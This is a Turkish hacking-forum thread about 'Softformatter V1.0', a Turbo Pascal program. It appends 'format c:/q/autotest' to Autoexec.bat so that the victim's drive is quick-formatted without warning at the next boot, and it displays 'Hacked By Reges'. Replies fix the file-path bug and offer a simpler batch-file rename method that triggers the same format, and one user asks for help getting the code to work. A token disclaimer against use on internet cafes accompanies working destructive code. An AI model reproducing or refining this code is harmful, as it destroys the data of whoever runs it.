Forum
Aktif konular
Üyeler
Kurallar
Arama
Softformatter V1.0 Softformatter V1.0
-
{--Bu Program Reges Tarafından Hazırlanmıştır.Kendi sisteminizde Çalıştırdığınızda meydana gelecek hasarlardan ben ve Tahribat.Com Yetkilileri Sorumlu Değildir--}
Uses crt;
var
dosya:text;
hack:string;
begin
hack:="format c:/q/autotest";
assign(dosya);
writeln(dosya,hack);
gotoxy(15,15);textcolor(red+blink);
write("Hacked By Reges");
close(dosya);
End.
Program komutları anlaşılır ve basittir.Turbo Pascal 7.0 kullanılarak hazırladığım bu programın çalışma prensibi şudur;
Windows açılırken okudugu Autoexec.bat dosyasının altına format ve parametrelerini yerleştirerek windowsun bir dahaki açılışında kullanıcıya sormadan QuickFormat yapmasını sağlıyor.(Siz kendi makinanızda deniyorsanız Bence Autoexec.bat Dosyanızı Yedeklemenizi tavsiye ederim).
Ayrıca Runtime veya Division By zero ile karsılasmamanız için bir patch kullanınız.
Dikkat:!!! Bu kaynak kodaları sizleri bilgilendirmek amacıyla verilmiştir.Lütfen masum insanların,internet cafelerin bilgisayarlarında denemeyiniz..Programın Tum kodları akış diyagramı fikri kendi eserimdir.Lütfen kaynak göstermeden kullanmayınız.
-
autoexec.bat dosyasina yazilacagini girmemişin proramda autoexec.bat gecmio hoja, bide winME, 2000,XP de calismaz bu bilesin
-
abi senin bu dediğin ms dos 5.0 ve batch file zamanından beri vardı ayrıca turbo pascal filan katmana gerek yok bi txt hazırla ismini autoexec.bao filan koy autoexec ede
ren autoexec.bat aaa.dfs
ren autoexec.bao autoexec.bat
yaz o gelecek sefere dosyanın ismini degiştirecek ve bir dahaki açılışta fornmata başlayacaktır bu kadar basit :::::::::))))))))))))))
-
Dosya Açılışında
assign(dosya,'c:\Autoexec.bat');
olacak özür.Ayrıca o işlemlei yapana kadar bu oluşan dosyaya tıklamak yeterli.Turbo PAscalda bu kadar oluor.. -
şunu tam açıklarmısınız baba düzeltim tam olarak verdiğin kod çalışmıyor uses crt ekleyince delphi7de hata veriyor tam olarak kolay şeklide açıklarsanız sevinirim
Kısayol
Şikayet
Özel Mesaj
Alıntı yap
Toplam Hit: 2167 Toplam Mesaj: 5
Cevapla